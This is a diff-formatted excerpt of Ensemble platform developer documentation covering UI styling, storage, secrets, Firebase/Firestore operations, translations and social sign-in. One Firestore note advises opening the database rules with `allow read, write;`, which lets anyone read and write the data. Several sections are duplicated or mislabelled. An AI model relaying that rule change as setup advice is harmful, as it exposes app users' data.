left-to-right motion with a fade effect, delivering a seamless and visually pleasing transition between pages. | +| LeftToRightPop | Grab attention with a pop animation that slides pages from left to right, creating a dynamic and impactful transition. | +| RightToLeftPop | Add an eye-catching pop animation to your page transitions as they slide from right to left, making a lasting impression on your users. | +| TopToBottomPop | Infuse excitement into your transitions with a pop animation that brings pages into view from top to bottom, captivating your audience. | +| BottomToTopPop | Elevate user experience with a pop animation that animates pages from bottom to top, adding a delightful touch to your website's transitions. | + +--- + +# Using Custom Fonts + +Ensemble supports Google Fonts, but you also have the option to use your own custom fonts when deploying your app with [Ensemble Starter](https://docs.ensembleui.com/#/deploy/1-prepare-app). + +### +- From the root directory of Ensemble Starter, open `pubspec.yaml`. +- Under `flutter > fonts`, add your font entry in the following format: +``` + - family: + fonts: + - asset: assets/fonts/... + weight: + style: +``` +- Add your fonts under the directory specified above (e.g. assets/fonts/). +- In your definitions, you may now reference the font specified here using `fontFamily`. +``` +Text: + text: Hello world + styles: + textStyle: + fontFamily: +``` + +--- + +# Splash Feedback (Touchable Opacity) + +The **Splash Feedback** is a visual feedback mechanism that creates a ripple or splash animation when a user interacts with a widget. This effect enhances the user experience by providing immediate visual confirmation that an action, such as a tap or click, has been recognized by the interface. + +In many user interfaces, buttons come with a default splash effect, providing instant feedback during interaction. Recognizing the value of this visual feedback, Ensemble introduces the ability to extend the splash effect to other widgets, such as rows, columns, and containers, which don't have a splash effect by default. + +[Kitchen Sink Example](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/sXFnorqUvN0l9zfSnTcX) + + + +### Widget List +Following are the list of widgets that support Splash Feedback +| Widget | Documentation | Kitchen sink example | +| ------------ | -------------- | ----------------------- | +| Column | [Link](#column-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/90a8e4df-5eab-4473-ba10-2ecffc9596b0) | +| FittedColumn | [Link](#fittedcolumn-deprecated) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/hRFxxoaBePQaLfmoBiIb) | +| Row | [Link](#row) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/4bd0d453-c243-429d-a562-93cbc9db38e3) | +| FittedRow | [Link](#fittedrow-deprecated) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/fvSONumk7npuTDmIWwis) | +| Flex | [Link](#flex) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/R3KgxV3UPWb4TjoiPI0U) | +| Stack | [Link](#stack) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/572ecf3b-b9f2-46f4-960f-ff438e5fa1dc) | + + + + + + + +## Enable Splash Feedback + +To enable splash feedback on a widget, use the `enableSplashFeedback` property in the widget’s styles. Set this property to true to activate the visual effect. However, keep in mind that the splash feedback will only work if the widget is using `onTap` action. + +```yaml +Row: + styles: + enableSplashFeedback: true + padding: 10 + borderWidth: 1 + onTap: + executeCode: + body: | + console.log("Enabled Splash Feedback") +``` + +## Splash Color + +To enable splash feedback on a widget, use the `enableSplashFeedback` property in the widget’s styles. Set this property to true to activate the visual effect. However, keep in mind that the splash feedback will only work if the widget is using `onTap` action. + +```yaml +Row: + styles: + enableSplashFeedback: true + padding: 10 + borderWidth: 1 + onTap: + executeCode: + body: | + console.log("Enabled Splash Feedback") +``` + +## Set max and min text scaling + +You can continue supporting text scaling, but set max and min for the scaling factor: + +## Disable text scaling + +To disable text scaling globally across your app, go to your app's theme, and add the following: + +```yaml +App: + textScale: + enabled: true # this is the default behavior + maxFactor: 1.2 + minFactor: 0.8 +``` + +In the above example, text size will be increase by max 20%. E.g. if user selects a scaling factor of 1.5 in the OS settings, the text will no be increased more than 20%. + +--- + +# Text scaling + +iOS and Android users can use the accessibility features to change the weight, size, and darkness of text to make it easier to read on their devices. + +Ensemble apps adhere to user selected preference by default. You can either disable text scaling, or set minimum and maximum factors you like to support in your app. + + +## Disable text scaling + +To disable text scaling globally across your app, go to your app's theme, and add the following: + +```yaml +App: + textScale: + enabled: false +``` + +## Set max and min text scaling + +You can continue supporting text scaling, but set max and min for the scaling factor: + +## Disable text scaling + +To disable text scaling globally across your app, go to your app's theme, and add the following: + +```yaml +App: + textScale: + enabled: true # this is the default behavior + maxFactor: 1.2 + minFactor: 0.8 +``` + +In the above example, text size will be increase by max 20%. E.g. if user selects a scaling factor of 1.5 in the OS settings, the text will no be increased more than 20%. + +--- + + +# Assets (images, videos, etc.) + +You can manage the assets required by your app within Ensemble Studio. These are typically files such as: + +- image files (PNGs, JPEGs, SVGs, etc.) +- video files +- audio files +- JSON source for [Lottie widget](#lottie-animation-widget) + +> [!NOTE] +> When you build and deploy your app, these assets are included in your built output. These assets are loaded instantly in iOS and Android apps instead of downloading them over the network. This approach avoides any delay in displaying the assets. + + +## Upload assets + +Navigate to your app inside Ensemble Studio. Select Assets from the left menu. Click on Add assets and upload your file. + +![add language](public/images/app-assets/assets_landing.png) + +## Reference an assets + +![add language](public/images/app-assets/assets_example.png) + +1. Click on the `...` icon of the asset. +2. Select `Copy path`. +3. Paste the path in the relevant widget. This is typically the `source` property of widgets such as Image. + +--- + +# Persistent Local Storage +You can write to or access the storage using simply `ensemble.storage`. On the browser, this uses the local storage. On the native apps, it uses the secure storage that's provided to each app by iOS and Android. This stoage is persistent i.e. the data you save will stay there until the user explicitly deletes the storage or the app. This means that you can use storage to share data among multiple screens in your app. + +Typically apps store data such as the logged-in user's information, app-level data to cache data from the backend etc. + +### Storing and Retrieving data +You can store data in the persistent storage by just using the following syntax - + +```js +ensemble.storage.myData = {name: {first:'John', last: 'Doe'}}; +``` +and to retrieve data, simply access the parameter by name. For example - +```yaml +Text: + id: nameField + text: ${ensemble.storage.myData.name.first} ${ensemble.storage.myData.name.last} +``` +or in js - +```js +nameField.text = ensemble.storage.myData.name.first + ' ' + ensemble.storage.myData.name.last; +``` +You can also store and retrieve properties using the set and get methods on `ensemble.storage`. This is useful when the parameter name is dynamically calculated instead of being known in advance. + +```js +ensemble.storage.set('my'+'Data',"{name: {first:'John', last: 'Doe'}"); +//to retrieve data +var myData = ensemble.storage.get('my'+'Data'); +``` +If the parameter with the same name already exists in the storage, it's value will be overwritten by the new value being set. + +### Checking if something is in storage +You can check in two ways, either by directly accessing the parameter by name or by using the `get` method and checking for null. + +```js +if ( ensemble.storage.myData != null ) { + //do something +} +``` + +### Deleting data in storage +You can set the parameter to null to remove its value. However if you want to entirely delete it from storage, call the `delete` method. + +```js +ensemble.storage.delete('myData'); //this will remove value referenced by myData and the myData as the key. +``` + +### Binding to the data in storage +One of the most powerful features of the Ensemble platform is the data binding. It allows you to significiantly reduce the amount of code you have to write and the ensuing complexity by just binding your widgets to the APIs or Storage. + +Here we will discuss binding to the `ensemble.storage`. When you `bind` a widget to something, the widget gets updated automatically when the thing it is bound to changes. + +For example, in the following yaml, `nameField.text` is bound to data in the storage. +```yaml +Text: + id: nameField + text: ${ensemble.storage.myData.name.first} ${ensemble.storage.myData.name.last} +``` +Now somewhere else (mostly in API responses), if you update the `myData` in storage, the `nameField.text` will automatically get the new value without you having to do anything. + +```yaml +API: + getDataFromServer: + url: 'https://myapp.com/data' + onResponse: |- + ensemble.storage.myData = response.data; //this will update all the fields that are bound to this parameter in storage +``` +### Manually triggering binding updates +Updates due to bindings to the storage are triggered only when you set a parameter on the storage directly. + +For example, the following triggers the binding and updates all the fields that are bound to ensemble.storage.myData +```js +ensemble.storage.myData = {name: {first:'John', last: 'Doe'}; +``` +However, if you are manipulating the data that is not directly stored in the `ensemble.storage`, it won't trigger binding. +```js +ensemble.storage.myData.name.first = 'Jane'; //will NOT trigger binding and the `nameField.text` will NOT be updated. +``` +To solve this issue, we set storage parameter back to itself to trigger the update. After doing all the manipulations to myData, set it back to itself +```js +ensemble.storage.myData = ensemble.storage.myData; //this will now update nameField.text and any other fields listening for this change +``` + +--- + +# App Settings + +Navigate to your app in Ensemble Studio to use the following settings: + +1. [Environment variables](#environment-variables) +2. [Secrets](#secrets) + +## Environment variables + +Add variables you intend to use throughout your app here. We recommend to use this for: + +- API endpoints +- 3rd-party service variables, such as service configs and URLs + +### Using environment variables + +Throughout your app, you can reference the environment variable with `${env.key_name}`. For instance, the API definitions can reference a variable: + +```yaml +API: + getUser: + url: ${env.apiEndpoint} + method: GET +``` + +## Secrets + +Your app may require using sensitive values for managing access to remote data. Ensemble supports configuring development secrets easily and securely during runtime, and the ability to inject separate production secrets when deploying. + +Add Secret + +Only application owners and editors can add or change secret values due to their sensitive nature. + +### Using secrets + +Any screens can reference the variable with `${secrets.key_name}`. Here we are simply displaying the secret value in a text field. + +Use Secret + +### Inject production secrets for deployment + +You can override your secrets for deployment from the .env file in your Ensemble project by using the same key with a different value. + +We do not recommend version controlling your .env file as this will expose your secrets. Consider removing your .env file from version control or injecting secrets at build time. + +--- + + +# Configuration of Firebase Project with Ensemble App + +Application's performance significantly increases with ⁤Integrating Firebase with our Ensemble project. ⁤⁤Firebase offers some services, such as real-time databases, authentication, analytics, and cloud messaging, which can help streamline backend development, +improve user engagement, and provide deep insights into user behavior. ⁤⁤Using Firebase with Ensemble allows us to focus more on our application's core features and user experience, while Firebase handles the backend. +⁤Now, let's dive into the configuration steps: + + +## Prerequisites +Before we start configuration, ensure that we have the following in place: +1. Ensemble project to integrate with Firebase. +2. Head over to the [Firebase console](https://console.firebase.google.com/) and create a new project or use an existing one. + +## 1. Registering our App with Firebase + +Firebase supports integration with various app platforms. Here's a breakdown for each platform: + +![All Apps](public/images/firebase/addApp.png) +#### Android + +- Click the Android icon(looks like a little robot) to start the setup. +- Type the unique "Android Package Name". Make sure it matches our app's exact name, and remember, it's case-sensitive! + +> [!NOTE] +> To learn more about how to get our Android package name for ensemble application, click [here](/deploy/4-android-device.md). + +- Click "Register app" to complete this step. +- Finally, download a file called "google-services.json". This file holds all the secret handshake information Firebase needs to talk to our app. + + +#### iOS + +- Click the Apple icon to start the setup. +- Enter our app's unique ID (called a "bundle ID"). Make sure it matches our app's exact name, and remember, it's case-sensitive! + +> [!NOTE] +> To learn more about how and where we can find our "Bundle ID" for ensemble application, click [here](/deploy/3-ios-appstore.md). + +- Click "Register app" to complete this step. +- Download a file called "GoogleService-Info.plist". This file contains the secret details Firebase needs to work with your app. + +#### Web + +- Click the Web icon(looks like a globe) to start the setup. +- Give our web app a nickname(this is just for us to see in the Firebase console). +- Click "Register app" to complete this step. +- Firebase will provide on-screen instructions where we will find a portion with the name `firebaseConfig` in code given. Copy that portion and save it in a file with the rest configuration files. + +![All Apps](public/images/firebase/allApps.png) + +## 2. Configure Ensemble app +Now that we've registered our app with Firebase and downloaded the configuration files, +it's time to establish the connection within our Ensemble project. +#### Make a Configuration File + +The first step involves creating a configuration file that stores Firebase project details specific to our chosen platform (iOS, Android, or Web). This file +acts as a translator between our app and Firebase, providing the necessary information for them to communicate effectively. The file will look like: + +```yaml +{ + "web": { + # Copy and paste all the values of firebaseCongig variable that we copy from web app and paste it here. + }, + "android": { + "apiKey": # In google-services.json, take value of client.api_key.current_key, + "appId": # In google-services.json, take value of client.client_info.mobilesdk_app_id, + "messagingSenderId": # In google-services.json, take value of project_info.project_number, + "projectId": # In google-services.json, take value of project_info.project_id, + "storageBucket": # In google-services.json, take value of project_info.storage_bucket + }, + "ios": { + "apiKey": # In GoogleService-Info.plist, take the value of API_KEY, + "appId": # In GoogleService-Info.plist, take the value of GOOGLE_APP_ID, + "messagingSenderId": # In GoogleService-Info.plist, take the value of GCM_SENDER_ID, + "projectId": # In GoogleService-Info.plist, take the value of PROJECT_ID, + "storageBucket": # In GoogleService-Info.plist, take the value of STORAGE_BUCKET, + "iosBundleId": # In GoogleService-Info.plist, take the value of BUNDLE_ID + } +} +``` +After we have replaced the placeholder hashtags (#) in our configuration file, it will look like this: + +![Configuration File](public/images/firebase/configfile.png) + +#### Update Environmental Variables + +Within our Ensemble application, navigate to the settings section and look for the option to manage environmental variables. Here, we'll create two new variables: +- `api_providers`: Set the value of this variable to `firestore`. This tells our app to use Firebase Firestore as a data provider. +- `firestore_config`: This is where you'll paste the complete configuration file we created earlier, including the replaced values from our downloaded configuration files. + +![Environment Variables](public/images/firebase/envVari.png) + +By following these steps, we'll successfully establish a connection between your Ensemble app and Firebase. + +--- + + +# Calling Cloud Firestore APIs + +[Cloud Firestore](https://firebase.google.com/docs/firestore) is a flexible, scalable database for mobile, web, and server development from Firebase and Google Cloud. Ensemble platform provides a deep integration with the Firestore DB and allows you to call operations on your data in Firestore effortlessly. + +Unlike traditional relational databases, Firestore offers a document-based structure well-suited for storing and managing various data types within oour app. Firestore is a great choice for Ensemble applications because it provides simplified data modeling, Offline Persistence, Real-time Updates, and API Convenience to interact with data.⁤ + +Now, let's dive into performing basic operations on our Firestore database: + +> [!NOTE] +> Operations on Firestore won't work unless we have configured our Ensemble application with Firebase. Learn how to configure it [here](pages/firebase/configuration.mdx). + +- To get hands-on experience with firestore operations, check the live example on [Ensemble Studio](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/W7b1n4a1LVoQgLyAie4F) + +## Firestore Data types + +### Timestamp +Following methods are available for Firestore's Timestamp type. + +#### Timestamp.now() +Static method. Returns a Timestamp representing the current time. + +Example +```js +var currentTimestamp = Timestamp.now(); +console.log(currentTimestamp); +``` +#### Timestamp.fromDate(date) +Static method. Creates a Timestamp from a JavaScript [Date](https://docs.ensembleui.com/javascript-reference/Date) object. +Example +```js +var specificDate = new Date('2024-08-05T12:34:56Z'); +var specificTimestamp = Timestamp.fromDate(specificDate); +console.log(specificTimestamp); +``` + +#### Timestamp.fromMillis(milliseconds) +Static method. Creates a Timestamp from a given number of milliseconds since the Unix epoch (January 1, 1970). + +Example +```js +var milliseconds = 1691237696123; // Milliseconds since the Unix epoch +var timestampFromMillis = Timestamp.fromMillis(milliseconds); +console.log(timestampFromMillis); +``` + +#### new Timestamp(seconds, nanoseconds) +Constructor. Creates a Timestamp object from a given number of seconds since the Unix epoch and additional nanoseconds. + +Example +```js +var seconds = 1691237696; +var nanoseconds = 123456789; +var customTimestamp = new Timestamp(seconds, nanoseconds); +console.log(customTimestamp); +``` +#### toDate() +Converts a Timestamp to the number of milliseconds since the Unix epoch. +Example +```js +var milliseconds = customTimestamp.toMillis(); +console.log(milliseconds); +``` +#### valueOf() +Returns the number of milliseconds since the Unix epoch, similar to toMillis(). It’s used when Timestamp is compared to other values in arithmetic operations. + +Example +```js +var value = customTimestamp.valueOf(); +console.log(value); +``` + +Following properties are also available on each `Timestamp` object + +#### seconds +The number of seconds of UTC time since Unix epoch 1970-01-01T00:00:00Z. + +Example +```js +var timestamp = new Timestamp(10,0); +console.log(timestamp.seconds); //prints 10 +``` +#### nanoseconds +The number of nanoseconds of UTC time since Unix epoch 1970-01-01T00:00:00Z. + +Example +```js +var timestamp = new Timestamp(10,0); +console.log(timestamp.nanoseconds); //prints 0 +``` +### FieldValue + +Other than `isEqual`, Ensemble platform supports all the methods for [FieldValue](https://firebase.google.com/docs/reference/js/v8/firebase.firestore.FieldValue). + +All the methods are static and are called exactly the same way as you could call in js, see [this](https://firebase.google.com/docs/reference/js/v8/firebase.firestore.FieldValue) for example. + +See the following paragraphs for examples of how to use `FieldValue.serverTimestamp()` + +## 1. Creating a Firestore Collection + +To store data in Firestore, we need to create a collection. A collection in Firestore is a container for documents, +which are individual pieces of data. Each document contains a set of key-value pairs. Follow the given steps to create a collection: +- Go to the Firebase Console. +- Select our project. +- Navigate to Firestore Database in the side menu. +- Click on Start collection. +- Enter a collection ID (e.g., sports). +- We can add our first document by entering a document ID or let Firestore auto-generate one for us. +- Add fields and values to our document. +- Click Save. + +> [!NOTE] +> By default, firestore rules do not allow anyone to access our database. To get started with it, update the rules by changing it to `allow read, write;` which allow everyone to access our database and then update the rules according to our requirements. + +## 2. Types of Firestore Operations +Firestore offers various operations to interact with our data. Here's a breakdown of some core operations along with demo API calls for our Ensemble app + +### Get: +This operation retrieves data from our Firestore collections. We can either retrieve entire collections or use queries to filter and sort our data. +1. **Example (Get all users)**: +```yaml +getUsers: + type: firestore + path: users + listenForChanges: true +``` +**Explanation**: +- `type: firestore`: Specifies that the operation is for Firestore and it is not a RestAPI. +- `path`: The path to the collection or document from where we wanna retrieve the data. +- `listenForChanges`: The operation will listen for real-time updates if set to true and triggers the UI to update. +> Default vale for `operation` is set to `add` if not mentioned. + +> Note: When `listenForChanges` is set to `true`, the first response from the API will be `{"message": "Subscribed to API", "documents": []}`. Be aware of this if your response handling involves checking whether `documents` is empty. +2. **Example (Get user using multiple filters)**: +```yaml +getSpecificUsers: + inputs: + - userId + type: firestore + path: example/users + query: + where: + - field: _documentId + operator: == + value: ${userId} + orderBy: + - age + limit: 10 +``` + +**Explanation**: +- `inputs`: We can also use dynamic variables in the path or a query. +- `path`: Path can be any based on our collections and documents we are trying to access. +- `query`: Filters the data based on the conditions such as [where](https://cloud.google.com/firestore/docs/query-data/queries). [orderBy, Limit](https://cloud.google.com/firestore/docs/query-data/order-limit-data). + +### Add: +The `add` operation creates a new document in a collection with a specified or auto-generated ID. +1. **Example**: +```yaml +createProject: + inputs: + - userId + - proName + - proDes + - proFiles + type: firestore + path: users/${userId}/Projects + operation: add + data: + proName: ${proName} + description: ${proDes} + createdAt: ${FieldValue.serverTimestamp()} +``` +**Explanation**: +- `operation: add`: Indicates that a new document will be created. +- `data`: The fields and values for the new document. Note how `FieldValue` is being used to tell Firestore to set the server timestamp + +### Set: +The `set` operation can create a new document if it does not exist but if the document already exists, `set` will overwrite +the entire document with the data provided, unless we use the `merge` option. +1. **Example**: +```yaml +setProject: + inputs: + - userId + - projectID + - proName + - proDes + - proFiles + type: firestore + path: users/${userId}/Projects/${projectID} + operation: set + data: + proName: ${proName} + description: ${proDes} + setAt: ${FieldValue.serverTimestamp()} +``` + +### Update: +The `update` operation only updates the fields specified in the provided data. If the document does not exist, `update` +will fail with an error. +1. **Example**: +```yaml +inputs: + - userId + - projectID + type: firestore + path: users/${userId}/Projects/${projectID} + operation: update + data: + # Below files will be stored as Array of objects. + files: [{ name: "index.js" , lines: 78 },{ name: "LMS.js" , lines: 245 }] + lastUpdated: ${FieldValue.serverTimestamp()} +``` + +### Delete: +The `delete` operation removes a document from a collection. +1. **Example**: +```yaml +deleteProject: + inputs: + - userId + - projectID + type: firestore + path: users/${userId}/Projects/${projectID} + operation: delete +``` + +### Collection Group: +The `isCollectionGroup` feature is used to retrieve specific collections from any collection. For example, if we have 100 documents in the `users` collection and each document has a sub-collection named `projects`, the `isCollectionGroup` feature helps in getting all `projects` directly rather than iterating through each document. +1. **Example**: +```yaml +getAllProjects: + type: firestore + path: Projects + isCollectionGroup: true +``` + +## 3. Response of Firestore Operations +When performing Firestore operations, we may need to manipulate the responses to fit our application's needs. Below are some common ways demonstrating how to use YAML for API calls, handle states, and display data in our app. +#### 1. Firstly, we will make an API call as follow: +```yaml +invokeAPI: + name: getProjects + inputs: + userId: ${userID} +``` +> We can also use `onResponse` & `onError` on firebase API calls and can perform operations on response. + +#### 2. Using response in `Column`: +To display data based on the API call's state (loading, success, error), you can use the following structure: +```yaml +Column: + children: + - Column: + styles: + visible: '${getProjects.isLoading ? true : false}' + children: + - Progress: + display: circular + - Column: + styles: + visible: '${getProjects.isSuccess ? true : false}' + item-template: + data: ${getProjects.body.documents} + name: project + template: + projectDisplay: # that is an custom widget. + inputs: + name: ${project.proName} + des: ${project.description} + - Column: + styles: + visible: '${getProjects.isError ? true : false}' + children: + - Text: + text: "An error has occurred" +``` +- Explanation: + - The first child `Column` is visible only when the API call is loading `(visible: '${getProjects.isLoading ? true : false}')`. It shows a circular progress indicator. + - The second child `Column` is visible only when the API call is successful `(visible: '${getProjects.isSuccess ? true : false}')`. It iterates over the documents in the response body using item-template. + - The third child `Column` is visible only when there is an error `(visible: '${getProjects.isError ? true : false}')`. It shows an error message. + +#### 3. Using response in `Dropdown`: +To display data in a dropdown, we can use the following YAML structure: +```yaml +Dropdown: + id: selectProject + label: Select Project + itemTemplate: + data: ${getProjects.body.documents} + name: project + value: ${project._documentId} + template: + Text: + text: ${"Name:" + " " + project.proName} +``` + +By using these operations, we can efficiently manage our data in Firestore with an Ensemble project. Firestore's +real-time capabilities and simple API calls make it a powerful tool for any application. + +--- + + +# Translations + +Ensemble supports localization of app content so that your app users can view the app in their preferred language. + +## How it works + +When an app loads, Ensemble checks the defualt language of the device (e.g. languages setting in iOS, Android, or Chrome browser). + +1. If device default langugae is supported by your app, Ensemble uses that language. +2. Else, Ensemble uses the app's default language. + +You can override the above behavior using [the setLocale action](#set-the-locale). + + +## Set up languages + +In Ensemble Studio, navigate to your app and select Translations from the left menu. Add new language to start with. + +> [!NOTE] +> The first language you add is set as the default. You can update the default language when you add more by clicking the `...` menu on the language. + + +![add language](public/images/translations/add-language.png) + +## Add language content + +Language content is created in YAML. Add key/value pairs for each text. + +![add language](public/images/translations/add-language-content.png) + +#### Organize the content + +To make it easier to find and update the text, you can create a hierarchy within language files. For instance, you can have common text under `common` and text related to login screen under `login` + +```yaml +common: + submit: Submit + error: Something went wrong. Try again. + +login: + login_button: Sign in + login_error: Incorrect username or password. Please try again. + +``` + + +## Reference the translation + +In any screen or widget, reference the translations. E.g. for a button, assign the reference to the `label` property. + +When refrencing translations, prepend `r@` before the key assigned to the text: + + +```yaml +- Button: + label: r@login.login_button +``` + + +## Test in Preview + +Use the 🌎 icon on top of the preview to select a language. The preview updates and shows the UI in the selected language. + +![add language](public/images/translations/test-language.png) + + +## Setting language in app code + +You can dynamically change the app's language from within your app. This allows users to select a language for the app that is different than OS language. + +### Retrieve Supported Languages + +To get an array of languages supported by your app (i.e., translations you created in Ensemble Studio), use the following code: + +```javascript +// Get array of supported languages +console.log(app.languages); +``` + +### Get Current Language and Locale +To log the currently set language and locale: + +```javascript +// Log currently set language +console.log(app.language); + +// Log currently set locale +console.log(app.locale); +``` + +### Set the Locale +You can set the locale using the ensemble.setLocale method. This method updates the app's language. + +```yaml +Button: + label: Switch to English + onTap: + setLocale: + languageCode: en +``` + +This action can be triggered in code: + +```javascript +// Set the locale to English +ensemble.setLocale({ + "languageCode": "en" +}); +``` + + +### Example usage +Here's an example of how you might integrate the language selection dropdown into a screen: + +```javascript +Screen: + - Dropdown: + itemTemplate: + data: ${app.languages} + name: language + template: + Text: + text: ${language.name} (${language.nativeName}) + value: ${language.languageCode} + + onChange: |- + ensemble.setLocale({ languageCode: event.data.value }); + + - Button: + label: r@common.submit +``` +### Defining different themes per language +See [this](https://docs.ensembleui.com/theme-and-styling/theme#defining-themes-for-different-locales) for more details + +--- + +# Authentication +Ensemble supports Sign In with Google, Apple as well as with Auth0. + +## Setup +By default Sign in is disabled. To enable it, follow the setup steps below. + +### Enable the Auth module +- Go to `/starter/pubspec.yaml` and uncomment the `ensemble_auth`. +- Go to `/starter/lib/generated/EnsembleModules.dart` + - Set `useAuth` to `true`. + - Uncomment the `if` section to enable the AuthModuleImpl. You may also need to uncomment the import statement. + +### Sign in with Apple +Note that if you are using Sign in with Google on iOS, Apple requires you to also support Sign in with Apple. To enable Sign in with Apple, follow these steps: +- Open XCode from the iOS project under `/starter/ios` in XCode. +- Select your `Runner` target and go to `Signing & Capabilities` tab. +- Click on the `+ Capability` button and select "Sign in with Apple". +- To enable Sign in with Apple only on iOS, you can use the Condition widget to only show if platform is iOS. +```yaml +Column: + children: + - SignInWithGoogle: + + # only show Sign in with Apple on iOS + - Conditional: + conditions: + - if: ${ensemble.device.isIOS()} + widget: + SignInWithApple: +``` + +## Implementation +- For Sign in with Google locally or with your server, go to [Social Sign In](#social-sign-in). +- To use Firebase instead of your server, go to [Firebase](#setting-up-authentication-with-firebase). +- For Sign in with Auth0, go to [Auth0](#setting-up-authentication-with-auth0). + +--- + +# Social Sign In + +Ensemble supports Social Sign in with Google and Apple. This guide will specifically target the **Sign in with Google** flow. +For each service, we support three different mechanism for managing the signed-in users: [Client-side](#client-side), with your [Server](#Server-side), or with [Firebase](#setting-up-authentication-with-firebase). + + + +## Client-side +Ensemble supports Signing In from the client side without any backend server. User information is stored locally on the device. + + +### Build your screens on Studio +First build a **Login** screen. + +```yaml +View: + styles: + useSafeArea: true + + body: + Column: + styles: + # centering the content + mainAxisSize: min + crossAxis: center + alignment: center + children: + - Text: + text: Welcome to a SignIn Example + styles: + textStyle: + fontSize: 20 + padding: 0 0 20 0 + + - SignInWithGoogle: + # Once signed in, go to the screen 'Home' + # Also clear all previous screens to prevent Back button navigation + onSignedIn: + navigateScreen: + name: Home + options: + clearAllScreens: true +``` +Now build the screen **Home** to show the currently logged-in user's information. + +```yaml +View: + header: + title: Welcome Home + + # onLoad check if currently signed in. If not go to the Login screen + onLoad: + verifySignIn: + onNotSignedIn: + navigateScreen: + name: Login + + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - Row: + styles: + gap: 7 + children: + # Current user's info is under ${auth.user.*} + - Avatar: + source: ${auth.user.photo} + - Text: + text: |- + ${auth.user.name} + ${auth.user.email} + - Button: + label: Sign Out + onTap: + # sign out will clear the user info + signOut: + onComplete: + # once signed out, go to the Login screen + # Also clear all existing screens so the user can't go back + navigateScreen: + name: Login + options: + clearAllScreens: true +``` + + +## Server-side +Currently Social Sign In with your custom Server has to be managed manually. Below is an example flow, and your implementation can varies per your needs. +1. Use the Social Sign in to authenticate the user. This will return the idToken and the user information. +2. Send this idToken to your server, which can validate that this idToken was issued by Google, extract the user information from the idToken, and return server-specific credentials (e.g. bearer token, cookies) for this user back to the client. +3. The client can then save these credentials into storage and use them for subsequent requests. + +```yaml +View: + body: + SignInWithGoogle: + # the user successfully authenticated with Google + onAuthenticated: + invokeAPI: + # call your server, pass the idToken and return server-specific credentials + name: signInToServer + inputs: + # idToken can be accessed on event.data.idToken + token: ${event.data.idToken} + + # user info can be accessed via event.data.user.* + email: ${event.data.user.email} + + onResponse: + executeCode: + # store the bearerToken for latter use + body: |- + ensemble.storage.token = response.body.bearerToken; + onComplete: + navigateScreen: + name: Home + options: + replaceCurrentScreen: true + +API: + # Your server should validate that the idToken is indeed issued by Google + # The server can then create/update the user account in your database, and return server-specific credentials about this user + signInToServer: + inputs: [token] + uri: https://myExampleApi.com/auth + parameters: + token: ${token} +``` +## Add Custom Widget to Google Sign-In Button + +**NOTE:** This property only works for native applications (Android and iOS), on web it will not replace default Google Sign-In Button. + +Ensemble allows you to replace the default `SignInWithGoogle` Widget UI with your own custom widget. By using the widget property within the `SignInWithGoogle` Widget, you can specify any widget to display in place of the default button. This feature enables full customization of the UI, while maintaining the same behavior for signing in and handling events. + +### How to Use the widget Property: ### +The `widget` property can be used inside the `SignInWithGoogle` Widget to define a custom widget. If this property is set, it will replace the default Google Sign-In button with the provided widget. + +### Example: ### +```yaml +SignInWithGoogle: + onSignedIn: + showToast: + message: ${auth.user.email} + onError: + showToast: + message: Something went wrong + widget: + IconButton: + icon: + name: google + library: fontAwesome + color: red +``` + +--- + +# Setting up Authentication with Firebase + +For convenience, Ensemble's Sign In can connect directly to Firebase, allowing you to manage users via Firebase console without the need for a backend server. + + + + +#### Prerequisites + +1. You have created a Firebase project +2. You have created an app on Ensemble Studio +3. You have [Flutter](https://docs.flutter.dev/get-started/install) installed on your machine +4. You have a Simulator for testing + +## 1. Configure Firebase project + +Login to your Firebase account and navigate to your project in order to complete following steps. + +#### Enable Sign in with Google + +Go to the Authentication section of your Firebase project, and enable Authentication. After that, enable Google as the sign-in method. + +#### Enable Sign in with Phone + +If you want to enable phone authentication, you will need to enable Phone as the sign-in method. You can also add phone numbers to the list of test numbers for your project. + +#### Add iOS app + +Under project settings, add iOS app to your Firebase project. As you go through the steps, you will download a file named `GoogleService-Info.plist` . We will use details from this file later on. +  +#### Add Android app + +Under project settings, add Android app to your Firebase project. As you go through the steps, you will download a file named `google-services.json` . We will use details from this file later on. + +--- + +## 2. Configure Ensemble app + +#### Get starter app + +Clone [Ensemble Starter](https://github.com/EnsembleUI/starter) from GitHub. Using a code or text editor, open `/ensemble/ensemble-config.yaml` . + +Set your definition source to be Ensemble: + +```yaml +    definitions: +  # where your page definitions are hosted ('local', 'remote' or 'ensemble') +  from: ensemble + +  ensemble: +  appId: +``` + +You can find you Ensemble app id by navigating to the app on Ensemble Studio, clicking the menu icon, and selecting `Copy App ID` option. + +#### Add Firebase app details to Ensemble app + +In the same file, `ensemble-config.yaml` , add Firebase account details in the following format. + +```yaml +    accounts: + firebase: + iOS: + apiKey: # In GoogleService-Info.plist, take the value of API_KEY + appId: # In GoogleService-Info.plist, take the value of GOOGLE_APP_ID + messagingSenderId: # In GoogleService-Info.plist, take the value of GCM_SENDER_ID + projectId: # In GoogleService-Info.plist, take the value of PROJECT_ID + android: + apiKey: # In google-services.json, take value of client.api_key.current_key + appId: # In google-services.json, take value of client.client_info.mobilesdk_app_id + messagingSenderId: # In google-services.json, take value of project_info.project_number + projectId: # In google-services.json, take value of project_info.project_id +``` + +To get these details, use the `GoogleService-Info.plist` and  `google-services.json` you downloaded during step 1. + +Here's an example of the outcome. + +firebase account details + + +#### Add sign-in providers to Ensemble app + +In the same file, `ensemble-config.yaml` , under `services` add the following. + +```yaml +    services: +      signIn: +        providers: +          google: +            iOSClientId: # In GoogleService-Info.plist, take the value of CLIENT_ID +            androidClientId: # In google-services.json, take value of client.oauth_client.client_id +``` + +Here's an example of the outcome. + + +firebase provider details + + +--- + +## 3. [iOS only] Update Info.plist file + +Inside the directory where you cloned Ensemble Starter, open `/ios/Runner/Info.plist` with a code editor. Add the following to this file. + +``` + + + + CFBundleTypeRole + 